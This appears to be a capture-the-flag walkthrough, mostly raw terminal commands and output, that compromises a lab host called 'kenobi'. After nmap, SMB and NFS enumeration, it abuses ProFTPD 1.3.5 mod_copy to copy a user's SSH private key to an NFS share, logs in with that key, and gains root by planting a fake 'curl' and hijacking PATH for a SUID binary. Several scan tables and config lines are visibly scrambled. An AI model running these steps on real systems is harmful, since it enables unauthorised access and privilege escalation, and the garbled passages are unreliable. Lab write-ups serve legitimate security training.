```
Discovered open port 139/tcp on 10.10.111.143
Discovered open port 21/tcp on 10.10.111.143
Discovered open port 80/tcp on 10.10.111.143
Discovered open port 111/tcp on 10.10.111.143
Discovered open port 445/tcp on 10.10.111.143
Discovered open port 22/tcp on 10.10.111.143
Discovered open port 2049/tcp on 10.10.111.143
```

```
STATE SERVICE
                                  REASON
                                                      VERSION
                                  syn-ack ttl 61 ProFTPD 1.3.5
syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
21/tcp
           open ftp
open ssh
22/tcp
 ssh-hostkey:
    2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8m00IxH/X5gfu6Cryqi5Ti2TKUSpqgmhreJsfLL8uBJrGAKQApxZ0lq2rKplqVMs+x
wlGTuHNZBVeURqvOe9MmkMUOh4ZIXZJ9KNaBoJb27fXIvsS6sgPxSUuaeoWxutGwHHCDUbtqHuMAoSE2Nwl8G+VPc2Dbbt5Xcpu5c14HUzk
tDmsnfJo/5TFiRuYR0uqH8oDl6Zy3JSnbYe/QY+AfTpr1q7BDV85b6xP97/1WUTCw54CKUTV25Yc5h615EwQ0MPwox94+48JVmgE00T4ARC
3l6YWibqY6a5E8BU+fksse35fFCwJhJEk6xplbkeaukklmVqeMysMWdiAQtDj
| 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:ld:8a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBpJvoJrIaQeGsbHE9vuz4iUyrUahyfHh
N7wq9z3uce9F+Cdeme10+vIfBkmjQJKWZ3vmezLSebtW3VRxKKH3n8=
     256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
  ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGB22m99Wlybun7o/h9e6Ea/9kHMT0Dz2GqSodFqIWDi
80/tcp open http
                                  syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
 http-methods:
    Supported Methods: GET HEAD POST OPTIONS
  http-robots.txt: 1 disallowed entry
  /admin.html
  http-server-header: Apache/2.4.18 (Ubuntu)
  http-title: Site doesn't have a title (text/html).
1/tcp open rpcbind syn-ack ttl 61 2-4 (RPC #100000)
1\overline{1}1/\mathsf{tcp} open \mathsf{rpcbind}
  rpcinfo:
                             port/proto service
111/tcp rpcbind
    program version
100000 2,3,4
100000 2,3,4
100000 3,4
                                111/udp
                                             rpcbind
                                111/tcp6
                                            rpcbind
     100000
                                 111/udp6
                                             rpcbind
                               2049/tcp
     100003
```

sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.111.143

```
445/tcp open microsoft-ds
Host script results:
  smb-enum-shares:
     account_used: guest
\\10.10.111.143\IPC$
        Type: STYPE IPC HIDDEN
Comment: IPC Service (kenobi server (Samba, Ubuntu))
       Max Users: <unlimited>
Path: C:\tmp
        Anonymous access: READ/WRITE
     Current user access: READ/WRITE
\\10.10.111.143\anonymous:
Type: STYPE_DISKTREE
        Comment:
        Users: 0
       Max Users: <unlimited>
Path: C:\home\kenobi\share
        Anonymous access: READ/WRITE
     Current user access: READ/WRITE
\\10.10.111.143\print$:
Type: STYPE_DISKTREE
        Comment: Printer Drivers
        Max Users: <unlimited>
        Path: C:\var\lib\samba\printers
        Anonymous access: <none>
        Current user access: <none>
```

```
r:~$ smbclient //10.10.111.143/anonymous
Enter WORKGROUP\headcrusher's password:
Try "help" to get a list of possible commands.
smb: \> ls
                                                     D
                                                                  0 Wed Sep 4 07:49:09 2019
                                                     D
                                                                 0 Wed Sep 4 07:56:07 2019
                                                             12237 Wed Sep 4 07:49:09 2019
   log.txt
                      9204224 blocks of size 1024. 6877104 blocks available
smb: \>
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (8.7 KiloBytes/sec) (average 8.7 KiloBytes/sec)
# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask
                                022
# To prevent DoS attacks, set the maximum number of child processes
# to 30. If you need to allow more than 30 concurrent connections
# at once, simply increase this value. Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
```

## nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.111.143

30

kenobi

# To cause every FTP user to be "jailed" (chrooted) into their home

# Set the user and group under which the server will run.

remote procedure call (RPC)

# directory, uncomment this line.
#DefaultRoot ~

# Normally, we want files to be overwriteable. Allow0verwrite on

MaxInstances

User

Group

```
Neadcrusher@t0rmentor:~$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.111.143
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-16 14:20 -03
Nmap scan report for 10.10.111.143
Host is up (0.34s latency).

PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *

Nmap done: 1 IP address (1/2 host up) scanned in 4.24 seconds
```

nc 10.10.111.143 21

```
headcrusher@t0rmentor:~$`nc 10.10.111.143 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.111.143]
```

searchsploit ProFTPd 1.3.5

```
headcrusher@t0rmentor:~$ searchsploit ProFTPd 1.3.5

Exploit Title | Path

ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb

ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py

ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
```

nc 10.10.111.143 21

SITE CPTO /var/tmp/id\_rsa

SITE CPTO /var/tmp/id\_rsa

```
headcrusher@t0rmentor:~$ nc 10.10.111.143 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.111.143]
SITE CPTO /var/tmp/id_rsa
503 Bad sequence of commands
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
```

sudo mkdir /mnt/kenobiNFS

sudo mount 10.10.111.143:/var/mnt/kenobiNFS

ls -la /mnt/kenobiNFS/

```
:~$ sudo mkdir /mnt/kenobiNFS
[sudo] password for headcrusher:
                    r:~$ sudo mount 10.10.111.143:/var /mnt/kenobiNFS
                    r:~$ ls -la /mnt/kenobiNFS/
total 56
drwxr-xr-x 14 root root
                           4096 Sep 4
                                      2019 .
                           4096 Jul 16 14:30
drwxr-xr-x 3 root root
          2 root root
                           4096 Sep 4
                                        2019 backups
drwxr-xr-x
                           4096 Sep 4
                                        2019 cache
drwxr-xr-x 9 root root
drwxrwxrwt 2 root root
                           4096 Sep 4
                                        2019 crash
drwxr-xr-x 40 root root
                           4096 Sep 4
                                        2019 lib
                           4096 Apr 12
                                        2016 local
drwxrwsr-x 2 root staff
          1 root root
                              9 Sep 4
                                        2019 lock -> /run/lock
lrwxrwxrwx
drwxrwxr-x 10 root crontab 4096 Sep 4
                                        2019 log
                          4096 Feb 26
                                        2019 mail
drwxrwsr-x 2 root mail
          2 root root
                           4096 Feb 26
                                        2019 opt
drwxr-xr-x
           1 root root
                              4 Sep 4
                                        2019 run -> /run
lrwxrwxrwx
                           4096 Jan 29
                                        2019 snap
          2 root root
drwxr-xr-x
drwxr-xr-x
          5 root root
                           4096 Sep 4
                                        2019 spool
                           4096 Jul 16 14:28 tmp
drwxrwxrwt
           6 root root
                          4096 Sep 4
                                        2019 www
drwxr-xr-x
          3 root root
```

cp/mnt/kenobiNFS/tmp/id\_rsa.

sudo chmod 600 id\_rsa

ssh -i id rsa kenobi@10.10.111.143

```
tormentor:~$ cp /mnt/kenobiNFS/tmp/id_rsa .
         isher@t0rmentor:~$ sudo chmod 600 id_rsa
                           r:~$ ssh -i id_rsa kenobi@10.10.111.143
load pubkey "id_rsa": invalid format
The authenticity of host '10.10.111.143 (10.10.111.143)' can't be established. ECDSA key fingerprint is SHA256:uUzATQRA9mwUNjGY6h0B/wjpaZXJasCPBY30BvtMsPI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.111.143' (ECDSA) to the list of known hosts. Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management:
                         https://landscape.canonical.com
 * Support:
                         https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$
```

## find / -perm /4000 2>/dev/null

```
kenobi@kenobi:~$ find / -perm /4000 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86 64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
```

menu

```
kenobi@kenobi:~$ menu
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
cd /tmp
```

echo /bin/sh > curl

chmod 777 curl

export PATH=/tmp:\$PATH

/usr/bin/menu

```
kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu
```

1

id

```
Invalid choicekenobi@kenobi:/tmp$ /usr/bin/menu
1. status check
kernel version
3. ifconfig
** Enter your choice :1
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113
(lpadmin),114(sambashare)
# ^C
```